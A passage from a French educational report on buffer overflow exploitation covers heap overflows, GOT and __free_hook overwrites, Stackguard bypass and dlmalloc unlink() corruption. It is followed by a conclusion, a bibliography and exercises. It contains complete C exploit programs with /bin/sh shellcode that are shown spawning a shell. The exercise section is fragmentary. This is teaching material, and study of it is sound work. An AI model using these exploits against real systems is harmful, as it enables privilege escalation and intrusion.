10 ptr = buffer2;
11
12 if (argc < 3) exit(-1);
13
14 strcpy(buffer1, argv[1]);
15 strcpy(ptr, argv[2]);
16 printf("%s\n", buffer2);
17 }
Ce programme argv[1] dans buffer1 et argv[2] dans buffer2 via le pointeur ptr puis
affiche le contenu du buffer 2.
Le plus gros désavantage d’écraser l’une ou l’autre de ces structures est que notre
shellcode n’est pas exécuté avant la fin du programme vulnérable, ce qui, dans le
cadre de certains gros programme peut mettre en péril leur exploitation car on est pas
certain que le shellcode reste intacte depuis son injection jusqu’à la fin du programme.
Pour résoudre ce problème, on peut soit stocker le shellcode dans un endroit sûr, ce
qui peut s’avérer difficile dans certains cas ou utiliser une méthode qui exécute le
shellcode peu d’instructions après le débordement. Nous pourrions encore écraser la
valeur de retour de la fonction main() et obtenir la main sur le programme dès la sortie
de la fonction contenant le buffer vulnérable, mais comme nous le savons déjà cela
pas n’est pas très fiable car l’adresse où elle est située dépend de la quantité de donnée
qui a été pushé sur la pile.
1 /*
2 * GOT exploit
3 * Usage: ./ex16
4 * for vuln14.c by OUAH (c) 2002
78/92
5 * ex16.c
6 */
7
8 #include <stdio.h>
9 #include <stdlib.h>
10
11 #define PATH "./vuln14"
12 #define BUF_SIZE 32
13 #define BUFF_ADDR 0x8049624
14 #define GOT_PRINTF 0x804955c
15
16 main(int argc, char **argv)
17 {
18
19 char sc[]=
20 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
21 "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
22
23 char buff[BUF_SIZE+1];
24 char buff2[5];
25 char *ptr;
26 unsigned long *addr_ptr;
27
28 int i;
29
30 ptr = buff;
31
32 *(long *)&buff2[0]=BUFF_ADDR;
33
34 memset(ptr, 0x90, BUF_SIZE-strlen(sc));
35 ptr += BUF_SIZE-strlen(sc);
36
37 for(i=0;i < strlen(sc);i++)
38 *(ptr++) = sc[i];
39
40 addr_ptr = (long *)ptr;
41 *(addr_ptr++) = GOT_PRINTF;
42 ptr = (char *)addr_ptr;
43 *ptr = 0;
44
45 execl(PATH, "vuln14", buff, buff2, NULL);
46 }
L ‘adresse du début de buffer (on a mis des NOPs avant le shellcode) est trouvée
aisément au moyen de gdb par exemple.
ouah@weed:~/heap2$ ./ex16
sh-2.05$
79/92
L ‘exploit fonctionne donc parfaitement.
Avec un programme vulnérable semblable à celui de la section 10.5 mais avec des
variables automatiques (définies en piles) pour satisfaire les conditions annoncées par
Stackguard, le même exploit que celui avec la GOT exécute le shellcode sans que
Stackguard ne remarque quoique ce soit (en effet le canary ne serait pas modifié, car
ni le frame pointer, ni l’adresse de retour ne sont écrasés dans cet exploit).
Il existe un autre système de protection, Stackshield qui est un compilateur dont le but
est aussi de prévenir les stack overflow. Sa technique est de sauver une copie
supplémentaire de l’adresse de retour d’une fonction dans un endroit inaccessible en
écriture. Au retour d’une fonction, ces deux adresses sont ainsi comparées pour savoir
s’il y a eu un buffer overflow en arrêtant l’exécution du programme. Un programme
comme celui discuté plus haut est encore vulnérable même s’il a été compilé avec le
système Stackshield, pour les mêmes raisons que celle de Stackguard. En, effet là
encore notre exploit ne modifie pas l’adresse de retour de la fonction donc n’alerte pas
Stackshield.
80/92
Il existe d’autre variables intéressantes qui si elles sont présentes en mémoire
permettent aussi l’exploitation d’un heap overflow. Voici une liste non-exhaustive de
variables ou de structures, qui pourraient aussi être intéressantes écraser en plus de
celles que l’on a vu précédemment.
- signal handlers
- structures de passwd
- sauvegardes d’uid_t
- données allouées en heap par les fonctions strdup(), getenv(), tmpnam()
- pointeurs de fichier (FILE *) dans la heap
- pointeur de fonctions de retour des programmes rpc
L’exploit contre le programme crontab, qui contenait sur BSDI un heap overflow,
écrasait une structure de mot de passe (contenant username, password, uid, gid…). En
modifiant, le uid et gid à 0 de cette structure, l’exploitait permettait ainsi d’exécuter
n’importe quel programme via un crontab avec les droits root.
struct malloc_chunk {
81/92
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk * fd;
struct malloc_chunk * bk;
};
Elle commence donc le chunk. Ses champs sont utilisés de manière différente selon
que le chunk associé est libre ou non, et que le chunk précédent est libre ou non. Voici
à quoi correspondent ces champs :
Les pointeurs fd et bk font donc partie d’une double liste chaînée circulaire, et ne
représentent donc pas forcément les chunks suivants/précédents physiquement. Si le
chunk est alloué, ces deux champs sont inutilisés et ainsi l’adresse retournée par
malloc() pointe donc directement après le champ size.
Nous avons spécifié aussi que dans le champ size il y a 2 bits d’informations. Comme
la taille d’un chunk est multiple de 8, cela nous laisse les 3 bits de poids faible de
libres pour ces informations. Le bit 1 (PREV_INUSE) indique si le chunk situé
physiquement avant est alloué ou non, si c’est le cas le champ prev_size est inutilisé
est peu contenir des données.
Les chunks de libres sont groupés ensemble selon leur taille, par exemple un groupe
de tous les chunks de taille entre 1472 et 1536 bytes. Il y a ainsi 128 groupes
différents et une double liste chaînée circulaire (les champs fd et bk) pour chacun de
ces groupes. De plus dans chacun de ces groupes les chunks sont ordonnées selon
l’ordre décroissant de leur taille. Chaque groupe est caractérisée par ce que Doug Lea
appelle un bin, qui est constitué d’une paire de pointeur fd et bk. Un bin sert donc de
tête à chaque double liste chaînée. Le pointeur fd d’un bin pointe ainsi sur le premier
chunk (le plus grand) du groupe tandis que le pointeur bk pointe sur le dernier chunk
(le plus petit) du groupe.
Pour sortir un chunk libre p de sa double liste chaînée, dlmalloc doit remplacer le
pointeur bk du chunk suivant p dans la liste par un pointeur sur le chunk précédent p
82/92
dans la liste. De même, dlmalloc doit remplacer le pointeur fd du chunk précédent p
dans la liste par un pointeur sur le chunk suivant p dans la liste. Cette opération
nommée unlink, est effectuée par la macro suivante :
Pour ajouter un nouveau chunk dans la double liste chaînée d’un groupe (on se
rappelle que dans un groupe les chunks sont classés selon leur taille), il existe aussi
une macro, nommé frontlink.
Ces deux macros internes de dlmalloc, unlink() et frontlink(), peuvent être abusées si
l’on donne à dlmalloc des chunk spécialement mal-formées. Nous allons voir ici
comment utiliser la technique liée à unlink() pour exploiter notre prochain programme
vulnérable.
1 #include <stdlib.h>
2 #include <string.h>
3
4 int main( int argc, char * argv[] )
5 {
6 char * first, * second;
7
8 first = malloc( 666 );
9 second = malloc( 12 );
10 strcpy( first, argv[1] );
11 free( first );
12 free( second );
13 return( 0 );
14 }
Notre programme vulnérable a donc un buffer overflow dans le buffer first, situé dans
la heap, car il ne teste pas la taille de argv[1] lors de la copie dans first à la ligne 10.
L’attaquant place l’adresse –12 d’un integer qu’il veut écraser en mémoire dans le
pointeur FD du fake chunk et une valeur pour l’écrasement dans le pointeur BK du
83/92
fake chunk. Depuis là, la macro unlink(), quand elle tentera d’extraire ce fake chunk
de son imaginaire double liste chaînée, écrira (grâce à la commande FD->bk = BK;
de la macro unlink())la valeur stockée dans BK à l’adresse du pointeur FD +12.
Or nous savons depuis les sections précédentes, que si nous pouvons écraser un seul
byte de notre choix en mémoire par une valeur de notre choix nous pouvons alors
rediriger l’exécution de notre programme à notre guise (exemple avec l’écrasement de
la section DTORS, des structures atexit() ou de la GOT d’une fonction).
Dans notre programme vulnérable, le buffer overflow dans le buffer first, nous permet
donc d’écraser le boundary tag du chunk de second car ce boundary tag est adjacent
au chunk de first. L’espace mémoire réservé au programme pour le first = malloc(
666 ); contient aussi le champ prev_size de ce boundary tag. Pour trouver la taille
mémoire à donner pour l’espace mémoire demandé, malloc() utilise la macro
request2size() pour trouver la prochaine taille multiple de 8 plus grande ou égale. Ici
request2size(666) renvoie donc 672 et si on ne comptabilise pas le champ prev_size
mis à disposition on a donc un espace de 668 (672-4) bytes.
Ainsi en passant 680 (668+3*4) bytes dans le buffer first, on arrive à écraser les
champs size, fd et bk du boudary tag du du chunk associé au buffer second. On peut
alors utiliser la technique unlink() pour écraser un integer en mémoire. Cependant
comment amener dlmalloc à unlink() le chunk de second qui a été corrompu alors que
ce chunk est toujours considéré comme alloué ?
Quand le premier la fonction free() est appelé sur le buffer first à la ligne 11 de notre
programme pour libérer ce premier chunk, l’algorithme de free() unlinkerait le chunk
de second si celui-ci était libre (c’est-à-dire si le bit PREV_INUSE du prochain chunk
était nul).Ce bit n’est pas nul, parce que le chunk associé au buffer seconde est alloué
mais nous pouvons induire en erreur dlmalloc en le faisant lire un faux bit
PREV_INUSE car nous contrôlons le champ size de chunk de second.
Par exemple, si nous modifions le champ size du chunk de second par la valeur –4
(0xfffffffc), dlmalloc pensera que le prochain chunk contigu sera en fait 4 bytes avant
le début du chunk de second et lira ainsi le champ prev_size du second chunk au lieu
du champ size du prochain chunk contigu. Ainsi donc, en plaçant un entier pair (c’est-
à-dire avec le bit PREV_INUSE à 0) dans le champ prev_size, dlmalloc voudra
utiliser unlik() contre le second chunk et nos valeur mises dans FD et BK seront
utilisées dans les deux dernières lignes de la macro unlink() pour écrire la valeur de
notre choix (BK) à l’adresse voulue (FD+12).
1 #include <string.h>
2 #include <unistd.h>
84/92
3
4 #define FREEHOOK ( 0x4012f120 )
5 #define SHELLCODE_ADDR ( 0x08049628 + 2*4 )
6
7 #define VULN "./vuln15"
8 #define DUMMY 0x41414141
9 #define PREV_INUSE 0x1
10
11 char shellcode[] =
12 /* instruction jump*/
13 "\xeb\x0appssssffff"
14 /* lsd-pl shellcode */
15 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
16 "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
17
18 int main( void )
19 {
20 char * p;
21 char argv1[ 680 + 1 ];
22 char * argv[] = { VULN, argv1, NULL };
23
24 p = argv1;
25 /* champ fd du premier chunk */
26 *( (void **)p ) = (void *)( DUMMY );
27 p += 4;
28 /* champ bk du premier chunk */
29 *( (void **)p ) = (void *)( DUMMY );
30 p += 4;
31 /* notre shellcode */
32 memcpy( p, shellcode, strlen(shellcode) );
33 p += strlen( shellcode );
34 /* padding */
35 memset( p, 'B', (680 - 4*4) - (2*4 +
strlen(shellcode)) );
36 p += ( 680 - 4*4 ) - ( 2*4 + strlen(shellcode) );
37 /* le champ prev_size du second chunk */
38 *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
39 p += 4;
40 /* le champ size du second chunk */
41 *( (size_t *)p ) = (size_t)( -4 );
42 p += 4;
43 /* le champ fd du second chunk */
44 *( (void **)p ) = (void *)( FREEHOOK - 12 );
45 p += 4;
46 /* le champ bk du second chunk */
47 *( (void **)p ) = (void *)( SHELLCODE_ADDR );
48 p += 4;
49 *p = '\0';
50
51 execve( argv[0], argv, NULL );
52 }
Notre exploit construit le payload qui est décrit dans la section précédente, le
shellcode n’est pas mis directement au début du buffer mais 8 bytes plus loin car
l’algorithme de free() va écraser les champs fd et bk du premiers chunks. Le shellcode
est ensuite copié. On ajouté un instruction de saut de 10 bytes au début du shellcode
(ligne 13) car comme on l’a dis dans la section précédente un entier situé à BK+8 est
85/92
écrasé. Enfin, après des valeurs de padding, on met à jour les champs prev_size, size,
fd et bk du second chunk avec les valeurs indiquées plus haut.
Dans notre exemple, le premier free() (ligne 11) du programme vulnérable est fatal
car c’est lui qui cause l’écriture de notre integer en mémoire. Ce free() est
inmédiatement suivi (ligne 12) par le free() du deuxième buffer. Ainsi en modifiant,
un __free_hook, notre shellcode sera exécuté dès l’appel du deuxième free().
On a dit que ces hooks se trouvaient en glibc, voilà donc l’adresse du __free_hook :
Maintenant pour trouver, l’adresse du shellcode (adresse du buffer +8), il nous faut
trouver l’adresse du buffer. L’adresse du buffer est obtenu via l’appel malloc(), nous
pouvons donc utiliser le programme ltrace pour trouver cette adresse.
L ‘adresse 0x08049628 est donc celle du début de notre buffer en mémoire. Fixons
maintenant l’exploit avec ces adresses de __free_hook et du buffer.
ouah@weed:~/heap2$ ./ex17
sh-2.05$
Nous avons montré ici la technique qui se base sur la macro unlink(), il existe aussi
une technique (encore plus complexe) basé sur la macro frontlink() pour arriver au
même résultat.
86/92
Cette technique mise à jour, plusieurs heap overflow qu’on croyait inexploitables ont
pu être exploités avec succès. C’est cette technique qui est aussi utilisée pour
exploiter la faille de « double free » de la zlib (une librairie de compression utilisé par
un très grand nombre de programme). En envoyant, un certain stream invalide de
données compressées à la zlib, cela amenait la zlib à vouloir libérer un espace
mémoire deux fois. De même, l’exploit 7350wurm de Teso, utilise cette technique
pour exploiter la faille glob de wu-ftpd 2.6.1.
87/92
11. Conclusion
Nous avons essayé tout au long de rapport de donner une vue approfondie et détaillée
des buffer overflow et de leur exploitation. On remarque que le domaine est plus large
qu’il n’y paraît. Il est surtout inquiétant d’un point de vue de la sécurité en générale et
pour notre sécurité aussi, nous qui vivons dans un monde entouré d’informatique. On
répète souvent que le langage C n’est pas responsable des problèmes de sécurité liés
aux buffer overflows mais que la faute incombe au programmeurs informés ou peu à
l’aise. Le constat est quand même amer, car tous les programmes serveurs les plus
importants ont été et continuent d’être victime de buffer overflows. Dans la semaine,
où cette conclusion est écrite, deux importants buffer overflows ont été découvert
dans les serveurs Apache et OpenSSH. Apache est utilisé selon les statistiques (Mai
2002) de netcraft.com sur 64% des serveurs web du monde, tandis qu’OpenSSH est
un des seuls services ouverts dans l’installation par défaut d’OpenBSD, le système
d’exploitation considéré comme le plus sécurisé. Pourtant la majorité des langages de
haut-niveau sont immunisés contre ce genre de problème. Certains redimensionnent
automatiquement les tableaux (comme Perl) ou détectent et préviennent les buffer
overflows (comme Ada95). Les buffer overflows ont toutefois encore de beaux jours
devant eux. Certains programmes codés dans ces langages peuvent avoir ces
protections désactivées (exemple Ada ou Pascal) pour des raisons de performances.
De plus, même dans ces langages de haut niveaux beaucoup de fonctions des libraries
ont été codée en C ou C++.
Les habitudes ont quand même tendance à changer et ainsi, certaines erreurs
classiques qui amènent à des overflows sont faites de moins en moins souvent. Les
buffer overflows deviennent plus discrets et leur exploitation plus ardue. Les pages
non-exécutables deviennent un standart dans les nouveaux microprocesseurs.
L ‘écriture d’exploits dans le monde de la sécurité est encore quelque chose de peu
professionnalisé et il manque des méthodes pour augmenter drastiquement la
portabilité de certains exploits. Les exploits de type « proofs of concept » doivent
souvent être encore beaucoup retravaillés par les professionnels des test d’intrusion
quand il s’agit de changer de plate-forme vulnérable de celle pour laquelle l’exploit a
été conçu. A l’avenir, des connaissances et des techniques de reverse-ingeneering
seront de plus en plus demandées pour découvrir et exploiter des programmes non
open-sources.
En paraphrasant solar designer (à qui nous devons les techniques d’exploitations les
plus subtiles présentées dans ce rapport), nous espérons dans ce rapport avoir pu
montré que l’exploitation de buffer overflow est un art.
88/92
12. Bibliographie
[1] Smashing The Stack For Fun And Profit, Alpeh One
[2] How to write Buffer Overflows, mudge / L0pht
[3] Advanced buffer overflow exploit,Taeho Oh
[4] UNIX Assembly Code Development for Vulnerabilities Illustration Purposes, lsd-
pl
[5] Stack Smashing Vulnerabilities,Nathan P. Smith
[6] w00w00 on Heap Overflows, Matt Conover
[7] LBL traceroute exploit, Dvorak
[8] Quick Analysiss of the recent crc32 ssh(d), Paul Starzetz
[9] The poisoned NUL byte, Olaf Kirch
[10] Vudo malloc tricks,Maxx
[11] atexit in memory bugs,Pascal Bouachareine
[12] HP-UX (PA-RISC 1.1) Overflows,Zhodiac
[13] The Art of Writing Shellcode, Smiler
[14] The Frame Pointer Overwrite, Klog
[15] Taking advantage of non-termniated adjacent memory spaces, Twitch
[16] PaX Project,PaX Team
[17] Getting around non-executable stack (and fix), Solar Designer
[18] The advanced return-into-lib(c) exploits: PaX case study, Nergal
[19] Defeating Solar Designer non-executable stack patch, Nergal
[20] Defeating Solaris/SPARC Non-Executable Stack Protection, Horizon
[21] Bypassing Stackguard and Stackshield, Bulba et Kil3r
[22] Four different tricks to bypass StackShield and StackGuard protection, gera
[23] Overwriting the .dtors section,Juan M. Bello Rivas
[24] Buffer overflow exploit in the alpha linux,Taeho Oh
[25] Single-byte buffer overflow vulnerability in ftpd, OpenBSD Security Advisory
[26] BindView advisory: sshd remote root (bug in deattack.c), Michal Zalewski
[27] Local Off By One Overflow in CVSd, David Evlis Reign
[28] another buffer overrun in sperl5.003, Pavel Kankvosky
[29] Superprobe exploit linux, Solar Designer
[30] Eviter les failles de sécurité dès le développement d'une application - 2, C.
Blaess, C. Grenier et F. Raynal
[31] Memory Layout in Program Execution, Frederik Giasson
[32] The EMERGENCY: new remote root exploit in UW imapd, Cheez Whiz
[33] Computer Emergency Response Team (CERT), http://www.cert.org
[34] A Tour of the Worm, Donn Seeley
[35] The Internet Worm Program: An Analysis, Eugene H. Spafford
[36] Shellcodes de bighawk, http://kryptology.org/shellcode/
[37] Bugtraq, http://www.securityfocus.com
[38] Executable and linking Format (ELF), Tool Interface Standart
89/92
Exercices sur les buffer overflows :
1. Soit le programme vuln1.c avec un buffer de taille 1023, écrire un exploit pour ce
programme.
#include <stdio.h>
if (argc > 1)
strcpy(buffer,argv[1]);
}
void foo(){
system("/bin/sh");
}
func(char *sm)
{
char buffer[256];
int i;
for(i=0;i<=256;i++)
buffer[i]=sm[i];
90/92
}
func(argv[1]);
}
while(1) {
gets(a) ;
system(a) ;
}
13. Soit un kernel avec PaX où la libc est randomisée, mais pas la stack. On cherche à
exploiter le programme en exécutant system(/bin/sh) via un ret-into-libc en brute-
forçant l’adresse libc de system(). Combien de temps est-il nécessaire pour exploiter
le programme ?(Ecrire un programme et tester).
91/92
15. Si le programme vulnérable de malloc chunk corruption utilisait la fonction gets()
au lieu de strcpy() de quoi faudrait-il tenir compte en plus pour notre exploit ?
92/92